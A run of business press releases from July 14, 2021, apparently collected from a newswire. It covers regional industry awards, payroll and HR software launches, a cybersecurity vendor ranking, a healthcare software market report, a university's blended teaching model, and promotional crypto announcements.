Award Titles and Categories Award Recipients Global and Regional Titles 2021 Global Enterprise Imaging Solutions Product Leadership Award Mach7 Technologies 2021 Asia-Pacific Clinical Oncology Next-generation Sequencing Workflow Solutions Product Leadership Award ACT Genomics 2021 Asia-Pacific Telecoms Tower Company of the Year Award edotco Group Sdn Bhd 2021 Asia-Pacific Functional Service Provider Pharmaceutical Competitive Strategy Leadership Award Labcorp Drug Development 2021 Asia-Pacific SME Accounting Software Vendor of the Year Award Xero Limited 2021 Asia-Pacific Customer Service Software Customer Value Leadership Award Zendesk Country Titles 2021 Australia Cloud Infrastructure Services Company of the Year Award Telstra 2021 Greater China CRO Entrepreneurial Company of the Year Award Viva Biotech Holdings 2021 Indonesia In Vitro Fertility Company of the Year Award Morula IVF Indonesia 2021 Indonesia Customer Experience Outsourcing Services Company of the Year Award PT Infomedia Nusantara 2021 Japan Contact Center Customer Value Leadership Award Rakuten Communications Corp 2021 Malaysia Facilities Management Competitive Strategy Leadership Award GFM Services Berhad 2021 Malaysia Hospital Company of the Year Award Subang Jaya Medical Centre 2021 Malaysia Mobile Services Company of the Year Award U Mobile 2021 Singapore Women's Health Entrepreneurial Company of The Year Award (Clinical Laboratories) INEX Innovate 2021 Thailand Data Center Services Company of the Year Award True Internet Data Center Co., Ltd.

To learn more about the awards and partnership opportunities for the 2021 awards, please visit http://www.apacbp-awards.com/. To schedule interaction with Frost & Sullivan spokespersons, please email Kala Mani.S at kala.manis@frost.com. About Frost & Sullivan For six decades, Frost & Sullivan has been world-renowned for its role in helping investors, corporate leaders, and governments navigate economic changes and identify disruptive technologies, Mega Trends, new business models, and companies to action, resulting in a continuous flow of growth opportunities to drive future success. Contact us: Start the discussion. Contact: Kala Mani. S.

Best Practices Awards Branding  Asia-Pacific

Email: kala.manis@frost.com View original content to download multimedia:https://www.prnewswire.com/news-releases/frost--sullivan-best-practices-recognition-honors-industry-leading-companies-at-the-2021-asia-pacific-virtual-awards-ceremony-301333455.html SOURCE Frost & Sullivan

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[July 14, 2021] CloudPay Announces Global Earned Wage Access Offering, Elevating the Modern Pay Experience

NEW YORK and LONDON, July 14, 2021 (GLOBE NEWSWIRE) -- Leading global pay provider CloudPay today announced the public launch of CloudPay NOW. The newest solution in CloudPay's extensive offerings, CloudPay NOW, addresses the financial wellness pressures of today's employee pay experiences. CloudPay NOW enables multinational organizations to offer earned wage access in advance of payday through a global technology solution. As the first earned wage access solution that can be deployed globally, CloudPay NOW has already won a prestigious CODiE award and was field-tested across 12 countries by one of the world's leading premium lifestyle brands.

Global industry analyst Josh Bersin highlighted the growing need for more flexible pay options in a recent research report. On-demand pay  also known as earned wage access  enables workers to tap into their own pay balance as early as the day it is earned. In direct contrast to existing credit card debt and payday loans that charge steep fees, this real-time pay system reduces financial stress for employees. With CloudPay NOW, employers can better retain workers, increase engagement and improve employees' financial wellbeing. "Workers in every country face increasing pressure fromfinancial stress. That's why CloudPay is expanding its offerings to help employers better position themselves to attract global talent in a competitive job market," said Josep Elias, CloudPay's chief strategy officer. "Employee pay is more than just a paycheck  it's about access, control and most importantly, flexibility. CloudPay NOW enables companies to deploy on-demand earned wage access as a global benefit to support employee wellbeing and retention."



Bersin refers to earned wage access as "The ATM for your pay." CloudPay NOW allows employees to access their wages on any device as needed, with complete data privacy. CloudPay NOW is fully integrated with CloudPay's global payroll and treasury solutions, allowing CloudPay to deploy this new earned wage access product across 130+ countries. For employees, the CloudPay NOW mobile app includes real-time multi-language support and resources to empower them to take control of their finances, reduce financial stress and make informed decisions about their pay.

"As a leader in global pay, it was important that we take the time necessary to deliver an earned wage access solution with the same robust qualities our clients expect," said Paul Bartlett, CloudPay's chief executive officer. "The expectations of workers have changed significantly in the last year, making CloudPay NOW a benefit that every global employer needs to offer." About CloudPay

Employee pay processes have broad business consequences, requiring modern solutions and trusted experts. CloudPay is the only provider that guides global companies with vision and care toward the comprehensive pay experience employees deserve. CloudPay connects all employee pay processes  including payroll, payments, and on-demand pay  through a unified platform, available across 130+ countries. CloudPay's experts help companies implement best practices, navigate change, optimize operations, and improve employee experiences. To learn more about why over 1500 multinational companies trust CloudPay with their global pay initiatives, visit www.cloudpay.com. A photo accompanying this announcement is available at https://www.globenewswire.com/NewsRoom/AttachmentNg/cd4dfd2f-33ca-4817-984e-0ba86f67743b



Note to editors: Trademarks and registered trademarks referenced herein remain the property of their respective owners. Media Contact: Kate Achille The Devon Group +1-732-706-0123 ext. 703 kate@devonpr.com

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[July 14, 2021] 154 Agency to provide digital marketing for ProBility Media Corp

Representation includes One Exam Prep, North American Crane Bureau and Disco Learning Media AUSTIN, Texas, July 14, 2021 /CNW/ -154 Agency LLC (154) has announced today that it has reached an agreement with ProBility Media Corp (OTCPK: PBYA), and its subsidiaries to perform all digital marketing and related work. 154 provides social media, creative strategy, public relations and content marketing. 154 provided their signature digital overhaul for ProBility and its subsidiaries. Many of the accounts had to be re-established from times when their own marketing team had been running them. "We are excited to be working with a cutting edge education company. ProBility is showing great signs of growth in all three of its divisions. Each of them has their own unique strategy and are confident we can help each subsidiary drive sales, reach new customers and increase investor awareness." stated Johanna Viscaino, Chief Executive Officer of 154. "Our prior success in customer acquisition and lead generation will create tremendous value for a company with the clientele ProBility and its subsidiaries have." continued Ms. Viscaino. 14's team include digital marketing specialists and pride themselves in custom branding, rebranding,brand awareness, custom design, UXconsulting and video production. 154's clients include both education and life sciences companies.



About ProBility Media Corp. ProBility Media Corp. is an industrial education and training technology company headquartered in Coconut Creek, Florida, offering education online and in person programs including training in a variety of vocational industries. ProBility is executing a disruptive strategy of defragmenting the education and training marketplace by offering high quality training courses and materials to prepare the workforce for excellence. ProBility services customers from the individual to the small business to the enterprise level corporation. For more information, visit www.ProBilityMedia.com .

About 154 Agency LLC 154 Agency LLC is a strategic digital media consulting company. It specializes in brand development, customer awareness, social media management, both social media advertising and google advertising, investor awareness, e-commerce marketing, customer acquisition, video production and SEO optimization. It's clients primarily fall within the education and healthcare industries. For more information, visit www.154agency.com. View original content:https://www.prnewswire.com/news-releases/154-agency-to-provide-digital-marketing-for-probility-media-corp-301333508.html SOURCE 154 Agency LLC

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[July 14, 2021] ISW Holdings Inc. (ISWH) Has Head Start in Race for Crypto-Mining Power in US

NEW YORK, July 14, 2021 (GLOBE NEWSWIRE) -- via InvestorWire  ISW Holdings Inc. (OTC: ISWH) today announces its placement in an editorial published by NetworkNewsWire ("NNW"), one of 50+ trusted brands within the InvestorBrandNetwork (IBN), a multifaceted financial news and publishing company for private and public entities. To view the full publication, North America to Become Crypto-Mining Central Now That China Miners Have Gone Dark, please visit: https://nnw.fm/AQaXE Cryptocurrency mining, where banks of specialized computers rush to solve complex algorithms and build data blocks of transaction activity on the blockchain to earn cryptocurrency, is energy intensive, to say the least. From the outset, China kept a stranglehold on the market owing to abundant and cheap energy, including in the coal plant hubs of inner Mongolia and Xinjiang, resulting in more than half of the worlds mining activity occurring in the country. However, Beijing is facing pressure to control carbon emissions, and it is pointing its finger directly at cryptomining for its failure to meet targets. To that end, Chinese regulators have taken unprecedented action in shutting down crypto miners, shining a spotlight on cleaner energy solutions, like those offered by ISW Holdings Inc. (OTC: ISWH) , which just got a head start in a race for power in the United States. About ISW HoldingsInc.



ISW Holdings, based in Nevada, is a diversified portfolio company comprised of essential business lines that serve consumer product demands. The companys expertise lies in strategic brand development, early growth facilitation, as well as brand identity through its proprietary procurement process. Together, with its partners, ISW Holdings seeks to provide a structure that meets large scalability demands, as well as anticipated marketplace needs. The company is able to meet these needs through a variety of strategic innovative processes. ISWH is creating and managing brands across a spectrum of disruptive industries. It maneuvers its proprietary companies through critical stages of market development, which includes conceptualization, go-to-market strategies, engineering, product integration, and distribution efficiency. The company has also partnered with a well-known software development and consulting company, Bengala Technologies LLC, which is developing significant enhancements in the supply chain management space; and the partnership has a vitally needed patent now pending. For more information about the company, visit www.ISWHoldings.com .

NOTE TO INVESTORS: The latest news and updates relating to ISWH are available in the companys newsroom at http://ibn.fm/ISWH About NetworkNewsWire NetworkNewsWire (NNW) is an information service that provides (1) access to our news aggregation and syndication servers, (2) NetworkNewsBreaks that summarize corporate news and information, (3) enhanced press release services, (4) social media distribution and optimization services, and (5) a full array of corporate communication solutions. As a multifaceted financial news and content distribution company with an extensive team of contributing journalists and writers, NNW is uniquely positioned to best serve private and public companies that desire to reach a wide audience of investors, consumers, journalists and the general public. NNW has an ever-growing distribution network of more than 5,000 key syndication outlets across the country. By cutting through the overload of information in todays market, NNW brings its clients unparalleled visibility, recognition and brand awareness. NNW is where news, content and information converge. To receive SMS text alerts from NetworkNewsWire, text STOCKS to 77948 (U.S. Mobile Phones Only)

For more information please visit https://www.NetworkNewsWire.com Please see full terms of use and disclaimers on the NetworkNewsWire website applicable to all content provided by NNW, wherever published or re-published: http://NNW.fm/Disclaimer NetworkNewsWire (NNW)

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[July 14, 2021] mdf commerce signs marketing agreement for its contract lifecycle management (CLM) solution with premier Alaska Native Corporation

This agreement will expand the market reach of mdf commerce in the CLM space and highlights the innovative value of mdf commerce products

MONTREAL, July 14, 2021 (GLOBE NEWSWIRE) -- mdf commerce inc. (TSX:MDF), a leader in SaaS commerce technology solutions, today announces a new marketing agreement with Alutiiq Professional Consulting, LLC (APC). APC is a sister company to Alutiiq, LLC (Alutiiq), a premier Alaska Native Corporation-owned company whose subsidiaries are leading providers of specialized services to the US Federal Government. Through this agreement, APC will be able to introduce the mdf commerce contract lifecycle management (CLM) solution to its own clients and partners, complementing its portfolio of services with an enterprise-grade CLM solution that streamlines the complete contract lifecycle. As a trusted partner and user of the mdf commerce CLM solution, APC experienced first-hand how the solution helps improve efficiencies, collaboration and productivity by providing comprehensive visibility to contracts, automated processes, smart document management and dynamic search and reporting capabilities. Were delighted to have taken the next step in our partnership with mdf commerce through this marketing agreement, said Gerad G Godfrey, President, APC. The comprehensive mdf commerce CLM solution improves every aspect of cotract management and we look forward to introducing this tool to our clients and partners, who we know would greatly benefit from its productivity-enhancing features such as advanced clause and compliance management and true online collaboration.



"This new agreement with APC is an important endorsement of the mdf commerce CLM solution," said Mark Eigenbauer, President, Strategic Sourcing at mdf commerce. "Were beyond pleased that APC believes in our CLM solution as much as we do and that an even broader range of clients and partners will be able to benefit from the efficiencies and productivity gains it provides." About mdf commerce inc.

mdf commerce inc. (TSX:MDF) enables the flow of commerce by providing a broad set of SaaS solutions that optimize and accelerate commercial interactions between buyers and sellers. Our platforms and services empower businesses around the world, allowing them to generate billions of dollars in transactions on an annual basis. Our Strategic Sourcing, Unified Commerce and emarketplace platforms are supported by a strong and dedicated team of approximately 700 employees based in Canada, the United States, Denmark, Ukraine and China. For more information, please visit us at mdfcommerce.com, follow us on LinkedIn or call at 1-877-677-9088. For further information: mdf commerce

Mark Eigenbauer

President, Strategic Sourcing

Toll-free number: 1-877-677-9088, ext. 6250

Email: mark.eigenbauer@mdfcommerce.com mdf commerce

Andre Leblanc

Vice President, Marketing and Public Affairs

Phone: +1 (514) 961-0882

Email: andre.leblanc@mdfcommerce.com



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[July 14, 2021] SailPoint Named the Overall Leader in KuppingerCole's Leadership Compass on Identity Governance and Administration

SailPoint Technologies Holdings, Inc. (NYSE: SAIL), the leader in enterprise identity security, today announced that it has been recognized in the KuppingerCole's June 2021, "Leadership Compass: Identity Governance & Administration" report as a leader of identity governance and administration (IGA) receiving "strong positive" ratings across all categories, spanning overall, product, market and innovation leadership. This press release features multimedia. View the full release here: https://www.businesswire.com/news/home/20210714005250/en/ SailPoint Recognized as the Overall Leader in KuppingerCole's Leadership Compasson Identity Governance and Administration (Graphic: Business Wire)



This year's Leadership Compass (News - Alert) gives an overview and insights into the IGA market, helping customers find the products that can meet the criteria necessary for successful IGA deployments. This is the fourth year that KuppingerCole has published the Leadership Compass report on IGA, and SailPoint has been named an overall market leader all four years.

"SailPoint's early recognition of Access Governance requirements in heavily regulated industries such as banking combined with strong marketing messaging and execution has led it to be one of the most evaluated IGA vendors for mid-to enterprise-sized organizations," said Richard Hill, Senior Analyst, KuppingerCole. "SailPoint continues to enhance its provisioning, automation, and predictive intelligence in a positive direction, making it a recommended consideration in any IGA evaluation." SailPoint uniquely provides the most comprehensive and advanced identity platform applying rich machine learning, autonomous risk detection and mitigation, smart process orchestration, and the extensibility needed to seamlessly empower and dynamically protect today's cloud enterprise. Underpinned with intelligence and designed with speed, simplicity and scale in mind, SailPoint's identity platform helps enterprises securely manage the complexity of their identity challenges without sacrificing sophistication of the solution. "This distinction is a welcome reinforcement of our ongoing efforts at SailPoint," said Grady Summers, EVP of Product, SailPoint. "We continue to demonstrate a strong understanding of existing and emerging challenges across the enterprise security landscape, including the impact that the acceleration in cloud adoption and the race to secure SaaS (News - Alert) apps has had on their business. Our world-class identity security team and time-tested identity solution consistently meets and exceeds the unique needs of the enterprises, ensuring their success at every step of the way." KuppingerCole's Report Methodology

KuppingerCole's Leadership Compass distinction is based on IGA vendors' ability to meet a range of criteria and capabilities such as Target System Connectivity, Access Review, Access Risk Management, User Interface and Mobile Support, Access Request and Approval, Access Intelligence (News - Alert) , Authentication and Data Model in addition to the depth of the product's technical specifications, Unique Selling Propositions and innovative product features that distinguish them from other offerings available in the market. To read the accompanying June 2021 KuppingerCole Leadership Compass Report on Identity Governance and Administration, please click here. About SailPoint

SailPoint is the leader in identity security for the cloud enterprise. We're committed to protecting businesses from the inherent risk that comes with providing technology access across today's diverse and remote workforce. Our identity security solutions secure and enable thousands of companies worldwide, giving our customers unmatched visibility into the entirety of their digital workforce, and ensuring that each worker has the right access to do their job, no more, no less. With SailPoint at the foundation of their business, our customers can provision access with confidence, protect business assets at scale and ensure compliance with certainty. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005250/en/

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[July 14, 2021] U.S. Workforce Volatility Spikes Nearly 70% in Q2 2021, According to Workforce Logiq's Latest Predictive Benchmark Report

Workforce Logiq, a global provider of AI-powered workforce intelligence, technology, and services, today released its Workforce Management Employee Predictive Volatility Benchmark Flash Report Q2 2021. The analysis reveals a 69% quarterly increase in the number of workers in top volatility categories. This spike, which follows three consecutive quarters of improvement in the Top 35 job categories, is 14% higher than the workforce volatility during the peak of the pandemic, which brought a record-breaking unemployment rate. This predictive benchmark indicates more U.S. professional and knowledge workers will be open to changing jobs and taking unsolicited recruiting calls over the next 60-90 days. "As pandemic life recedes, U.S. workers are actively rethinking their job and career choices and searching for roles that offer more money, flexibility, advancement opportunities, and more, which is leading to a dramatic increase in employee resignations," said Jim Burke, Workforce Logiq's CEO. "Our quarterly and year-over-year predictive volatility benchmarks highlight the impact of this 'Great Resignation' period and indicate this trend will continue well into the fall." Other key findings from the analysis include: Public Safety had the highest Q2 employee volatility increase in the Top 35 job categories, up 300% over Q1, followed by Skilled Trade (+204%) and the Military (+201%). Police reform and racial justice protests have led to a historic number of officer departures, with many pursuing employment opportunities in more welcoming geographies and adjacent sectors. Workforce Logiq's predictive 5D Profile SM data shows growth opportunities and positive work environments are the two workplace attributes that public safety officers value the most.

followed by Skilled Trade (+204%) and the Military (+201%). Police reform and racial justice protests have led to a historic number of officer departures, with many pursuing employment opportunities in more welcoming geographies and adjacent sectors. Workforce Logiq's predictive 5D Profile data shows growth opportunities and positive work environments are the two workplace attributes that public safety officers value the most. Every Top 35 job category and U.S. state showed a significant volatility increase in Q2 . Finance, the least volatile job category, was up 47%. This is in stark contrast to Q1 2021 where over 70% of job categories showed improvement. U.S. states increased 45% overall in volatility since Q1 and 12% year-over-year.

. Finance, the least volatile job category, was up 47%. This is in stark contrast to Q1 2021 where over 70% of job categories showed improvement. U.S. states increased 45% overall in volatility since Q1 and 12% year-over-year. States with lower vaccination rates exhibited higher levels of quarterly employee volatility. Mississippi had the highest quarterly volatility increase (+73%) of all states and exited Q2 with the lowest vaccination rate in the U.S. The correlation suggests employees in these states may have higher risk tolerances and are more apt to embrace career changes and new opportunities.

Mississippi had the highest quarterly volatility increase (+73%) of all states and exited Q2 with the lowest vaccination rate in the U.S. The correlation suggests employees in these states may have higher risk tolerances and are more apt to embrace career changes and new opportunities. Wyoming (+70%), Montana (+68%), West Virginia (+67%), and Maryland (+66%) follow Mississippi as the top five states with the highest Q2 volatility percentage increases. New Hampshire had the lowest quarterly increase of +32% of all 50 states, right behind Virginia (+37%), New Jersey (+36%),and Connecticut (+34%).



The market analysis is based on proprietary and predictive insight from Workforce Logiq's Total Talent Intelligence platform and examines workforce volatility across states, metropolitan statistical areas (MSAs), job functions, and major industry sectors. Workforce Logiq uses proprietary AI models to calculate industry, company, and candidate-specific Talent Retention Risk (TRR) ScoresSM and predict the likelihood of professional and knowledge workers being receptive to unsolicited recruiting messages and job opportunities over the next 60-90 days.

The company tracks, aggregates, and analyzes more than 2,000 events, triggers, and shocks that can impact employment volatility - macroeconomic trends, company-level social media and news sentiment, employee churn indicators, industry news and events, and more - from more than one billion data points, 40,000 sources, and analytics on over 19 million global companies. Workforce Logiq's predictive data science and Likely to ENGAGE algorithm were featured in a Harvard Business Review article. Candidates that Workforce Logiq identified as "most likely" to be receptive to new job opportunities were twice as receptive to unsolicited recruitment messages and 63% more likely to change jobs compared to those identified as "unlikely" to be receptive. To learn more about the current state of the U.S. labor market and employment volatility, download the full report. To learn more about Workforce Logiq's predictive insights and how the company equips global organizations to win and retain the talent they need to grow, visit workforcelogiq.com. About Workforce Logiq Workforce Logiq, a global provider of AI-powered workforce intelligence, technology, and services to large corporations, enables organizations to win and retain the talent they need to grow. With clients in 50+ countries, Workforce Logiq provides expert guidance, real-time and predictive analytics, and patented and award-winning technologies. Workforce Logiq's universal sourcing solution addresses all elements of its clients' acquisition and retention programs, including permanent (RPO), contingent (MSP), and freelance/"gig" (FMS) workers. Backed by global investment firm The Carlyle Group, the company helps clients attain greater management, performance, and financial control over their talent supply chains. Workforce Logiq was named the #1 global MSP provider for two consecutive years in HRO Today's Baker's Dozen Rankings due to its continued commitment to provide its clients with innovative workforce management solutions delivered through its Total Talent Intelligence platform. For more information visit http://www.workforcelogiq.com, follow on Twitter (News - Alert) @WorkforceLogiq, or connect with Workforce Logiq on LinkedIn. View source version on businesswire.com: https://www.businesswire.com/news/home/20210714005224/en/

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[July 14, 2021] $776+ Million Master Patient Index Software Global Market to 2028 - by Type, Deployment and Geography

DUBLIN, July 14, 2021 /PRNewswire/ -- The "Master Patient Index Software Market Forecast to 2028 - COVID-19 Impact and Global Analysis by Type and Deployment, and Geography" report has been added to ResearchAndMarkets.com's offering. The global master patient index software market was valued at US$ 776.36 million in 2020, and it is projected to reach US$ 1,678.86 million by 2028; it is expected to grow at a CAGR of 10.12% during 2020-2028.



A significant shift toward paperless data management has enabled various healthcare players to adopt cloud-based technologies. Also, the decrease in the cost of cloud-based technologies, improvements in terms of flexibility and security, and low maintenance requirements and costs are further propelling the adoption of these technologies among healthcare organizations. These advantages help provide high-quality services and personal care to patients.



The cloud-based technologies have eliminated interoperability issues, and at the same time have enabled the easy data integration with a healthcare organization. As the healthcare data, available in huge volumes, are organized and saved on cloud servers, processing these data has become feasible for the healthcare professionals. Cloud-based technologies allow healthcare professionals to operate in tandem with different departments, institutions, and healthcare service providers and consumers. Furthermore, technological advancements are supporting the integration of artificial intelligence (AI) and machine learning in patient management, which assist users to manage healthcare operations and massive data. Thus, the adoption of cloud-based technologies boosts the demand for master patient index software to streamline and simplify the patient data management process.



Based on type, the master patient index software market is segmented into software and service. In 2020, the software segment held a larger share of the market and is estimated to grow at a significant CAGR during the forecast period. Due to growing advancements in new and existing master patient index software, the adoption of the software in the healthcare system is likely to boost the market growth during the forecast period.



Based on deployment, the master patient index software market is segmented into cloud-based and on-premises. In 2020, the cloud-based segment held a larger share of the market and is expected to grow at a faster rate during the coming years.



Major primary and secondary sources referred to while preparing the report on the master patient index software market are Dubai Health Authority, National Health Service, Community Health Index, and World Health Organization.



Reasons to Buy Save and reduce time carrying out entry-level research by identifying the growth, size, leading players and segments in the master patient index software market.

Highlights key business priorities in order to assist companies to realign their business strategies.

The key findings and recommendations hghlight crucial progressive industry trends in the global master patient index software market, thereby allowing players across the value chain to develop effective long-term strategies.

Develop/modify business expansion plans by using substantial growth offering developed and emerging markets.

Scrutinize in-depth global market trends and outlook coupled with the factors driving the market, as well as those hindering it.

Enhance the decision-making process by understanding the strategies that underpin security interest with respect to client products, segmentation, pricing and distribution



Key Topics Covered:



1. Introduction

2. Master Patient Index Software Market - Key Takeaways



3. Research Methodology

3.1 Coverage

3.2 Secondary Research

3.3 Primary Research



4. Global Master Patient Index Software Market - Market Landscape

4.1 Overview

4.2 PEST Analysis

4.2.1 North America: PEST Analysis

4.2.2 Europe: PEST Analysis

4.2.3 Asia Pacific: PEST Analysis

4.2.4 Middle East and Africa: PEST Analysis

4.2.5 South and Central America: PEST Analysis

4.3 Expert Opinion



5. Master Patient Index Software Market - Key Market Dynamics

5.1 Market Drivers

5.1.1 Assistance in Maintaining and Managing Clinical, Financial, and Demographic Data of Patients

5.1.2 Adoption of Cloud-Based Technologies

5.2 Market Restraints

5.2.1 High Cost of Software

5.3 Market Opportunities

5.3.1 Emphasis on Building Unified Medical Record Systems in Developing Countries

5.4 Future Trends

5.4.1 Digitalization of Healthcare Processes

5.5 Impact Analysis



6. Master Patient Index Software Market - Global Analysis

6.1 Global Master patient index software Marker Revenue Forecast and Analysis

6.2 Global Master Patient Index Software Market, By Geography - Forecast and Analysis

6.3 Market Positioning of Key Players



7. Master Patient Index Software Market Analysis - By Type

7.1 Overview

7.2 Master Patient Index Software Market Revenue Share, by Type (2020 and 2028)

7.3 Software

7.3.1 Overview

7.3.2 Software: Master Patient Index Software Market- Revenue and Forecast to 2028 (US$ Million)

7.4 Service

7.4.1 Overview

7.4.2 Service: Master Patient Index Software Market- Revenue and Forecast to 2028 (US$ Million)



8. Master Patient Index Software Market Analysis - By Deployment

8.1 Overview

8.2 Master Patient Index Software Market Revenue Share, by Deployment (2020 and 2028)

8.3 Cloud-based

8.3.1 Overview

8.3.2 Cloud-based: Master Patient Index Software Market- Revenue and Forecast to 2028 (US$ Million)

8.4 On premises

8.4.1 Overview

8.4.2 On premises: Master Patient Index Software Market- Revenue and Forecast to 2028 (US$ Million)



9. Master Patient Index Software Market - Geographical Analysis



10. Impact of COVID-19 Pandemic on Global Master Patient index software Market

10.1 North America: Impact Assessment of COVID-19 Pandemic

10.2 Europe: Impact Assessment of COVID-19 Pandemic

10.3 Asia-Pacific: Impact Assessment of COVID-19 Pandemic

10.4 Middle East and Africa: Impact Assessment of COVID-19 Pandemic

10.5 South and Central America: Impact Assessment of COVID-19 Pandemic



11. Master Patient Index Software Market-Industry Landscape

11.1 Overview



12. Company Profiles

12.1 McKESSON CORPORATION

12.1.1 Key Facts

12.1.2 Business Description

12.1.3 Products and Services

12.1.4 Financial Overview

12.1.5 SWOT Analysis

12.1.6 Key Developments

12.2 Oracle Corporation

12.2.1 Key Facts

12.2.2 Business Description

12.2.3 Products and Services

12.2.4 Financial Overview

12.2.5 SWOT Analysis

12.2.6 Key Developments

12.3 Wipro Limited

12.3.1 Key Facts

12.3.2 Business Description

12.3.3 Products and Services

12.3.4 Financial Overview

12.3.5 SWOT Analysis

12.3.6 Key Developments

12.4 Allscripts Healthcare Solutions, Inc.

12.4.1 Key Facts

12.4.2 Business Description

12.4.3 Products and Services

12.4.4 Financial Overview

12.4.5 SWOT Analysis

12.4.6 Key Developments

12.5 NextGate

12.5.1 Key Facts

12.5.2 Business Description

12.5.3 Products and Services

12.5.4 Financial Overview

12.5.5 SWOT Analysis

12.5.6 Key Developments

12.6 JUST ASSOCIATES, INC.

12.6.1 Key Facts

12.6.2 Business Description

12.6.3 Products and Services

12.6.4 Financial Overview

12.6.5 SWOT Analysis

12.6.6 Key Developments

12.7 Verato

12.7.1 Key Facts

12.7.2 Business Description

12.7.3 Products and Services

12.7.4 Financial Overview

12.7.5 SWOT Analysis

12.7.6 Key Developments

12.8 QuadraMed Affinity Corporation

12.8.1 Key Facts

12.8.2 Business Description

12.8.3 Products and Services

12.8.4 Financial Overview

12.8.5 SWOT Analysis

12.8.6 Key Developments

12.9 MEDITECH

12.9.1 Key Facts

12.9.2 Business Description

12.9.3 Products and Services

12.9.4 Financial Overview

12.9.5 SWOT Analysis

12.9.6 Key Developments

12.10 Intersystems Corporation

12.10.1 Key Facts

12.10.2 Business Description

12.10.3 Products and Services

12.10.4 Financial Overview

12.10.5 SWOT Analysis

12.10.6 Key Developments



13. Appendix For more information about this report visit https://www.researchandmarkets.com/r/dndxdu Media Contact: Research and Markets

Laura Wood, Senior Manager

press@researchandmarkets.com



For E.S.T Office Hours Call +1-917-300-0470

For U.S./CAN Toll Free Call +1-800-526-8630

For GMT Office Hours Call +353-1-416-8900



U.S. Fax: 646-607-1907

Fax (outside U.S.): +353-1-481-1716 View original content:https://www.prnewswire.com/news-releases/776-million-master-patient-index-software-global-market-to-2028---by-type-deployment-and-geography-301333749.html SOURCE Research and Markets

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[July 14, 2021] THE UNIVERSITY OF SUFFOLK BOOSTS STUDENT ENGAGEMENT AND OUTCOMES WITH INNOVATIVE 'BLOCK AND BLEND' COURSE DELIVERY DURING COVID-19

London, July 14, 2021 (GLOBE NEWSWIRE) -- D2L, a global learning technology leader, announced today that its partner, University of Suffolk, is celebrating the success of its new block and blend teaching model, which is revolutionizing and future-proofing the way student learning is delivered. Higher educations transition to fully online learning during the COVID-19 pandemic accelerated the rate of transformation at many institutions that use technology to maximize student engagement. While fully online learning was necessary for much of the year, the forward-thinking University of Suffolk realized a truly blended model of in-person and online would equip the institution long-term as technology adoption across the sector rises. The University conducted a pilot of a block and blend teaching and learning model to optimize COVID-necessitated distance learning outcomes and pave the way for innovative course formats in the future. The model was designed to relieve the existing time and workload pressures of concurrent modules, for both students and academic staff, and improve student retention and performance. D2L Brightspace was integral to the design and delivery of this approach. By moving to block, students study one module at a time, instead of three, says Aaron Burrell, Associate Director Digital Learning and Innovation at the University. Learning is delivered in short, focused periods. Each block is equivalent to 20 credits and consists of up to four weeks of academic content  lectures, practical work, seminars, tutorials and so forth  and a fifth week when students take a module assessment and prepare for the next block. During a four-week block, students are expected to engage in 12 hours of tutor structured learning time each week. While block learning can be fully online or face to face, it can also be delivered through a blend of the two. This not only made it ideal for the context in which the model was being rolled out, but also a viable and future-proof strategy that recognizes the increasing role of technology. An evaluation of 13 modules taught through block and blend (September  December 2020) revealed impressive results. Outcomes were compared against the same modules taught the previous academic year and showed that block nd blend students achieved higher assessment grades on average  an uplift to 66 from 56 percent.



Academics also reported that students were more engaged with online learning content. Data from Brightspace showed a 10 percent increase in hours spent in content compared to 2019/20 and a 55 percent increase on 2018/19. Additionally, the number of accesses of content increased by 30 percent from 2019/20, while the use of social learning tools was more than eight times what it was in 2019/20  from 332 posts to over 2,800. As we prepare for our annual Fusion conference this month, were celebrating our customers and the ways in which they are changing the world, says Elliot Gowans, Senior Vice President, International at D2L. Our goal at D2L is to reach every learner and were delighted to see how Brightspace is supporting the evolution of the University of Suffolks teaching methods  not only during this challenging period, but also long term.

Learn more about D2Ls work with University of Suffolk here. ABOUT THE UNIVERSITY OF SUFFOLK

At the University of Suffolk, we prepare our students for a world where nothing ever stays the same. We embrace change, and our students learn to embrace change too. We have absorbed the best university traditions and aligned them with a twenty-first century audience and the modern world of employment and entrepreneurship.



Our purpose is to change lives - of individuals and communities - for the better. We embrace our role as independent stewards of community life and values; an anchor institution proud of its central ambition of working collaboratively to transform our local communities.



We are strongly embedded in the local region. Our unique, integrated partnership with three of the regions Colleges is central to our identity and our vision for the future. We have an attractive portfolio of courses within Arts and Humanities; Children, Young People and Education; Psychology, Sociology and Social Work; Business and Management; Health; and Science, Technology and Engineering. ABOUT D2L

D2L is transforming the way the world learns  helping learners of all ages achieve more than they dreamed possible. Working closely with clients all over the world, D2L is supporting millions of people learning online and in person. Our more than 950 global employees are dedicated to making the best learning products to leave the world better than where they found it. Learn more about D2L for K-12, higher education and businesses at? www.D2L.com . ABOUT D2Ls BRIGHTSPACE

D2L Brightspace is a? cloud-based ?learning platform built for people who care deeply about student success and helping to prepare them for what comes next.



It gives faculty across your institution tools theyre going to love, makes it easy to support exceptional student experiences in the classroom or fully online. D2L Brightspace is designed in close collaboration with clients around the world  building a pedagogically rich set of features to improve engagement, retention and learning outcomes. It also makes it easier to do assessment and give feedback.



D2L Brightspace is worry-free with 99.99% reliability. Its highly accessible and looks beautiful on any mobile device, making it easier for educators to reach every learner.



D2L Brightspace has won multiple industry awards , including the #1 LMS Technology for next-generation online teaching and learning. To learn more, visit D2L for Higher Education .



UK PRESS CONTACTS?

Pippa Twigg, Finn Partners

07769 719 719

D2L@finnpartners.com ?

Twitter:?@D2L_EMEA

 2021 D2L Corporation.



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[July 14, 2021]

The Official Mars Token's Debut Lighted Up NYC's Times Square

New York, NY, July 14, 2021 (GLOBE NEWSWIRE) -- (via Blockchain Wire) The Official Mars Token launched a massive marketing campaign about its debut listing on BitMart, a premium global digital assets trading platform, on June 23, 2021. This iconic billboard is positioned at 7 Times Square, which is one of the most prominent focal points within Times Square. Poised near the famous New Years Eve Ball, this LED display is a perfect branding opportunity to celebrate business milestones. Advertising the listing of Official Mars Token on BitMart profoundly signifies the globalization of this project.



Photo Available: Mars Token Lights Up Times Square

As a decentralized blockchain-based payment system, the Official Mars Token is made to provide an interplanetary payment solution for a permanent settlement on Mars. Until the settlement is successful, their goal is to increase the value for its community. As long as research and work are still being carried out on the settlement of Mars, the Offiial Mars Token will be further developed and made available on earth as a decentralized payment system.







The CEO of the Official Mars Token commented: We are very happy about the phenomenal launch at BitMart. Now it is our endeavor to enlarge our community, further develop Mars Token and implement advantageous features.



Video Available: Mars Token X Times Square

About BitMart



